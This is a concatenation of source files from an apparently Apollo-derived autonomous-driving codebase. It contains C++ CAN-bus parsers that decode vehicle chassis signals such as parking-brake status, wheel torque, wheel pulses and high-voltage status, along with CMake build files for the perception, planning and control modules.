'EPB_SYSFAULTSTATUS_NO_FAULT', 1: 'EPB_SYSFAULTSTATUS_WARNING', 2: 'EPB_SYSFAULTSTATUS_FAULT', 3: 'EPB_SYSFAULTSTATUS_RESEVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_sysfaultstatusType epb_sysfaultstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPB_ParkingStatus', 'enum': {0: 'EPB_PARKINGSTATUS_RELEASED', 1: 'EPB_PARKINGSTATUS_RELEASE_ONGOING', 2: 'EPB_PARKINGSTATUS_PARK_ONGOING', 3: 'EPB_PARKINGSTATUS_PARKED', 4: 'EPB_PARKINGSTATUS_UNKOWN'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_parkingstatusType epb_parkingstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EPB_SwitchStatus', 'enum': {0: 'EPB_SWITCHSTATUS_NO_ACTION_ON_SWITCH', 1: 'EPB_SWITCHSTATUS_SWITCH_TO_RELEASE', 2: 'EPB_SWITCHSTATUS_SWITCH_TO_PARK', 3: 'EPB_SWITCHSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Epb_status_0x152_152::Epb_switchstatusType epb_switchstatus(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_EPB_STATUS_0X152_152_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(perception_proto perception_obstacle.pb.cc perception_obstacle.pb.h traffic_light_detection.pb.cc traffic_light_detection.pb.h ) target_link_libraries(perception_proto common_proto error_code_proto header_proto map_proto protobuf) add_library(lane_post_process_config_proto lane_post_process_config.pb.cc lane_post_process_config.pb.h) target_link_libraries(lane_post_process_config_proto protobuf) add_library(probabilistic_fusion_config_proto probabilistic_fusion_config.pb.cc probabilistic_fusion_config.pb.h) target_link_libraries(probabilistic_fusion_config_proto protobuf) add_library(yolo_camera_detector_config_proto yolo_camera_detector_config.pb.cc yolo_camera_detector_config.pb.h) target_link_libraries(yolo_camera_detector_config_proto protobuf) add_library(modest_radar_detector_config_proto modest_radar_detector_config.pb.cc modest_radar_detector_config.pb.h) target_link_libraries(modest_radar_detector_config_proto protobuf) add_library(tracker_config_proto tracker_config.pb.cc tracker_config.pb.h) target_link_libraries(tracker_config_proto protobuf) add_library(sequence_type_fuser_config_proto sequence_type_fuser_config.pb.cc sequence_type_fuser_config.pb.h) target_link_libraries(sequence_type_fuser_config_proto protobuf) add_library(async_fusion_config_proto async_fusion_config.pb.cc async_fusion_config.pb.h) target_link_libraries(async_fusion_config_proto protobuf) add_library(geometry_camera_converter_config_proto geometry_camera_converter_config.pb.cc geometry_camera_converter_config.pb.h) target_link_libraries(geometry_camera_converter_config_proto protobuf) add_library(cnn_segmentation_config_proto cnn_segmentation_config.pb.cc cnn_segmentation_config.pb.h) target_link_libraries(cnn_segmentation_config_proto protobuf) add_library(hdmap_roi_filter_config_proto hdmap_roi_filter_config.pb.cc hdmap_roi_filter_config.pb.h) target_link_libraries(hdmap_roi_filter_config_proto protobuf) add_library(low_object_filter_config_proto low_object_filter_config.pb.cc low_object_filter_config.pb.h) target_link_libraries(low_object_filter_config_proto protobuf) add_library(perception_ultrasonic_proto perception_ultrasonic.pb.cc perception_ultrasonic.pb.h) target_link_libraries(perception_ultrasonic_proto common_proto error_code_proto header_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(valet_parking stage_approaching_parking_spot.cc stage_parking.cc valet_parking_scenario.cc stage_approaching_parking_spot.h stage_parking.h valet_parking_scenario.h) target_link_libraries(valet_parking log planning_proto /modules/planning/scenarios:scenario) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_decider_obstacle_utils path_decider_obstacle_utils.cc path_decider_obstacle_utils.h) target_link_libraries(path_decider_obstacle_utils frame) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_whltq_0x107_107.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwvcuwhltq0x107107::Gwvcuwhltq0x107107() {} const int32_t Gwvcuwhltq0x107107::ID = 0x107; void Gwvcuwhltq0x107107::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_checksum_0x107(checksum_0x107(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_rolling_counter_0x107(rolling_counter_0x107(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_kickdown(vcu_kickdown(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_accpedalratioerror(vcu_accpedalratioerror(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_accpedalratio(vcu_accpedalratio(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_accrawpedalratio(vcu_accrawpedalratio(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_brkpedalstasus(vcu_brkpedalstasus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_minindicatedtorqwhl(vcu_minindicatedtorqwhl(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_whltq_0x107_107()->set_vcu_maxindicatedtorqwhl(vcu_maxindicatedtorqwhl(bytes, length)); } // config detail: {'name': 'checksum_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcuwhltq0x107107::checksum_0x107(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x107', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcuwhltq0x107107::rolling_counter_0x107(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'vcu_kickdown', 'enum': {0: 'VCU_KICKDOWN_NOTACTIVE', 1: 'VCU_KICKDOWN_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_kickdownType Gwvcuwhltq0x107107::vcu_kickdown(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Gw_vcu_whltq_0x107_107::Vcu_kickdownType ret = static_cast<Gw_vcu_whltq_0x107_107::Vcu_kickdownType>(x); return ret; } // config detail: {'name': 'vcu_accpedalratioerror', 'enum': {0: 'VCU_ACCPEDALRATIOERROR_NOERROR', 1: 'VCU_ACCPEDALRATIOERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_accpedalratioerrorType Gwvcuwhltq0x107107::vcu_accpedalratioerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Gw_vcu_whltq_0x107_107::Vcu_accpedalratioerrorType ret = static_cast<Gw_vcu_whltq_0x107_107::Vcu_accpedalratioerrorType>(x); return ret; } // config detail: {'name': 'vcu_accpedalratio', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 47, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Gwvcuwhltq0x107107::vcu_accpedalratio(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); double ret = x * 0.393700; return ret; } // config detail: {'name': 'vcu_accrawpedalratio', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 39, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Gwvcuwhltq0x107107::vcu_accrawpedalratio(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 8); double ret = x * 0.393700; return ret; } // config detail: {'name': 'vcu_brkpedalstasus', 'enum': {0: 'VCU_BRKPEDALSTASUS_NOTPRESSED', 1: 'VCU_BRKPEDALSTASUS_PRESSED', 2: 'VCU_BRKPEDALSTASUS_RESERVED', 3: 'VCU_BRKPEDALSTASUS_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_whltq_0x107_107::Vcu_brkpedalstasusType Gwvcuwhltq0x107107::vcu_brkpedalstasus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Gw_vcu_whltq_0x107_107::Vcu_brkpedalstasusType ret = static_cast<Gw_vcu_whltq_0x107_107::Vcu_brkpedalstasusType>(x); return ret; } // config detail: {'name': 'vcu_minindicatedtorqwhl', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwvcuwhltq0x107107::vcu_minindicatedtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x + -30000.000000; return ret; } // config detail: {'name': 'vcu_maxindicatedtorqwhl', 'offset': -30000.0, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'physical_range': '[-30000|30000]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwvcuwhltq0x107107::vcu_maxindicatedtorqwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x + -30000.000000; return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(control_proto calibration_table.pb.cc calibration_table.pb.h control_cmd.pb.cc control_cmd.pb.h control_conf.pb.cc control_conf.pb.h gain_scheduler_conf.pb.cc gain_scheduler_conf.pb.h lat_controller_conf.pb.cc lat_controller_conf.pb.h lon_controller_conf.pb.cc lon_controller_conf.pb.h pad_msg.pb.cc pad_msg.pb.h pid_conf.pb.cc pid_conf.pb.h steer_torque_calibration.pb.cc steer_torque_calibration.pb.h leadlag_conf.pb.cc leadlag_conf.pb.h) target_link_libraries(control_proto canbus_proto common_proto drive_state_proto header_proto vehicle_signal_proto protobuf)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_adapterconfig_h #define impl_type_adapterconfig_h #include "impl_type_mode.h" #include "impl_type_bool.h" #include "impl_type_int32.h" #include "impl_type_messagetype.h" struct AdapterConfig { ::MessageType type; ::Mode mode; ::Int32 message_history_limit; ::Bool latch; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(type); fun(mode); fun(message_history_limit); fun(latch); } template<typename F> void enumerate(F& fun) const { fun(type); fun(mode); fun(message_history_limit); fun(latch); } bool operator == (const ::AdapterConfig& t) const { return (type == t.type) && (mode == t.mode) && (message_history_limit == t.message_history_limit) && (latch == t.latch); } }; #endif // impl_type_adapterconfig_h <file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_whlpulse_0x236_236.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Espwhlpulse0x236236::Espwhlpulse0x236236() {} const int32_t Espwhlpulse0x236236::ID = 0x236; void Espwhlpulse0x236236::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_fr(esp_wheelpulse_fr(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_rl(esp_wheelpulse_rl(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_rr(esp_wheelpulse_rr(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_rollingcounter_esp_0x236(rollingcounter_esp_0x236(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_rr_valid(esp_wheelpulse_rr_valid(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_rl_valid(esp_wheelpulse_rl_valid(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_fr_valid(esp_wheelpulse_fr_valid(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_fl_valid(esp_wheelpulse_fl_valid(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_checksum_esp_0x236(checksum_esp_0x236(bytes, length)); chassis->mutable_cx75()->mutable_esp_whlpulse_0x236_236()->set_esp_wheelpulse_fl(esp_wheelpulse_fl(bytes, length)); } // config detail: {'name': 'esp_wheelpulse_fr', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::esp_wheelpulse_fr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_wheelpulse_rl', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::esp_wheelpulse_rl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_wheelpulse_rr', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 31, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::esp_wheelpulse_rr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rollingcounter_esp_0x236', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::rollingcounter_esp_0x236(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'esp_wheelpulse_rr_valid', 'enum': {0: 'ESP_WHEELPULSE_RR_VALID_VALID', 1: 'ESP_WHEELPULSE_RR_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 52, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_rr_validType Espwhlpulse0x236236::esp_wheelpulse_rr_valid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(4, 1); Esp_whlpulse_0x236_236::Esp_wheelpulse_rr_validType ret = static_cast<Esp_whlpulse_0x236_236::Esp_wheelpulse_rr_validType>(x); return ret; } // config detail: {'name': 'esp_wheelpulse_rl_valid', 'enum': {0: 'ESP_WHEELPULSE_RL_VALID_VALID', 1: 'ESP_WHEELPULSE_RL_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_rl_validType Espwhlpulse0x236236::esp_wheelpulse_rl_valid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Esp_whlpulse_0x236_236::Esp_wheelpulse_rl_validType ret = static_cast<Esp_whlpulse_0x236_236::Esp_wheelpulse_rl_validType>(x); return ret; } // config detail: {'name': 'esp_wheelpulse_fr_valid', 'enum': {0: 'ESP_WHEELPULSE_FR_VALID_VALID', 1: 'ESP_WHEELPULSE_FR_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_fr_validType Espwhlpulse0x236236::esp_wheelpulse_fr_valid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 1); Esp_whlpulse_0x236_236::Esp_wheelpulse_fr_validType ret = static_cast<Esp_whlpulse_0x236_236::Esp_wheelpulse_fr_validType>(x); return ret; } // config detail: {'name': 'esp_wheelpulse_fl_valid', 'enum': {0: 'ESP_WHEELPULSE_FL_VALID_VALID', 1: 'ESP_WHEELPULSE_FL_VALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_whlpulse_0x236_236::Esp_wheelpulse_fl_validType Espwhlpulse0x236236::esp_wheelpulse_fl_valid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Esp_whlpulse_0x236_236::Esp_wheelpulse_fl_validType ret = static_cast<Esp_whlpulse_0x236_236::Esp_wheelpulse_fl_validType>(x); return ret; } // config detail: {'name': 'checksum_esp_0x236', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::checksum_esp_0x236(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_wheelpulse_fl', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|254]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espwhlpulse0x236236::esp_wheelpulse_fl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(open_space_roi_decider open_space_roi_decider.cc open_space_roi_decider.h) target_link_libraries(open_space_roi_decider planning_context planning_gflags /modules/planning/tasks/deciders:decider_base) add_library(open_space_pre_stop_decider open_space_pre_stop_decider.cc open_space_pre_stop_decider.h) target_link_libraries(open_space_pre_stop_decider reference_line_info common_lib /modules/planning/tasks/deciders:decider_base) add_library(open_space_fallback_decider open_space_fallback_decider.cc open_space_fallback_decider.h) target_link_libraries(open_space_fallback_decider vehicle_state_provider planning_context planning_gflags /modules/planning/tasks/deciders:decider_base) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(open_space_trajectory_provider open_space_trajectory_provider.cc open_space_trajectory_provider.h) target_link_libraries(open_space_trajectory_provider open_space_trajectory_optimizer /modules/common/status planning_common planning_gflags trajectory_stitcher discretized_trajectory /modules/planning/tasks:task /modules/planning/tasks/optimizers:trajectory_optimizer) add_library(open_space_trajectory_optimizer open_space_trajectory_optimizer.cc open_space_trajectory_optimizer.h) target_link_libraries(open_space_trajectory_optimizer log pnc_point_proto /modules/common/status /modules/common/util vehicle_state_provider frame /modules/planning/open_space/coarse_trajectory_generator:hybrid_a_star /modules/planning/open_space/trajectory_smoother:distance_approach_problem /modules/planning/open_space/trajectory_smoother:dual_variable_warm_start_problem /modules/planning/open_space/trajectory_smoother:iterative_anchoring_smoother planning_config_proto /external:gflags eigen) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_vcu_hmi_0x358_358.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwvcuhmi0x358358::Gwvcuhmi0x358358() {} const int32_t Gwvcuhmi0x358358::ID = 0x358; void Gwvcuhmi0x358358::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_checksum_0x358(vcu_checksum_0x358(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_rollingcounter_0x358(vcu_rollingcounter_0x358(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vehiclehvstatus(vehiclehvstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_packheatcircuiterror(packheatcircuiterror(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_packheatstatus(packheatstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_packcoolingcircuiterror(packcoolingcircuiterror(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_motorcoolingcircuiterror(motorcoolingcircuiterror(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_batteryvoltageerror(vcu_batteryvoltageerror(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_battervoltage(vcu_battervoltage(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_targcruisespeed(vcu_targcruisespeed(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_cruisecontrolstatus(vcu_cruisecontrolstatus(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_driverstatus_sts(vcu_driverstatus_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_drivemode_sts(vcu_drivemode_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_vehchg_sts(vcu_vehchg_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_tbox_veh_sts(vcu_tbox_veh_sts(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_energyrecoverymode(vcu_icm_energyrecoverymode(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_vehhvil_err(vcu_icm_vehhvil_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_mot_err(vcu_icm_mot_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_packvoltoff_err(vcu_icm_packvoltoff_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_chggearlv(vcu_icm_chggearlv(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_packsys_err(vcu_icm_packsys_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_drvsys_err(vcu_icm_drvsys_err(bytes, length)); chassis->mutable_teshun()->mutable_gw_vcu_hmi_0x358_358()->set_vcu_icm_veh_err(vcu_icm_veh_err(bytes, length)); } // config detail: {'name': 'vcu_checksum_0x358', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcuhmi0x358358::vcu_checksum_0x358(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'vcu_rollingcounter_0x358', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwvcuhmi0x358358::vcu_rollingcounter_0x358(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'vehiclehvstatus', 'enum': {0: 'VEHICLEHVSTATUS_NOT_READY', 1: 'VEHICLEHVSTATUS_HV_ON', 2: 'VEHICLEHVSTATUS_READYTODRIVE', 3: 'VEHICLEHVSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::VehiclehvstatusType Gwvcuhmi0x358358::vehiclehvstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(1, 2); Gw_vcu_hmi_0x358_358::VehiclehvstatusType ret = static_cast<Gw_vcu_hmi_0x358_358::VehiclehvstatusType>(x); return ret; } // config detail: {'name': 'packheatcircuiterror', 'enum': {0: 'PACKHEATCIRCUITERROR_NORMAL', 1: 'PACKHEATCIRCUITERROR_ERROR'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 44, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackheatcircuiterrorType Gwvcuhmi0x358358::packheatcircuiterror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(3, 2); Gw_vcu_hmi_0x358_358::PackheatcircuiterrorType ret = static_cast<Gw_vcu_hmi_0x358_358::PackheatcircuiterrorType>(x); return ret; } // config detail: {'name': 'packheatstatus', 'enum': {0: 'PACKHEATSTATUS_INACTIVE', 1: 'PACKHEATSTATUS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_hmi_0x358_358::PackheatstatusType Gwvcuhmi0x358358::packheatstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = 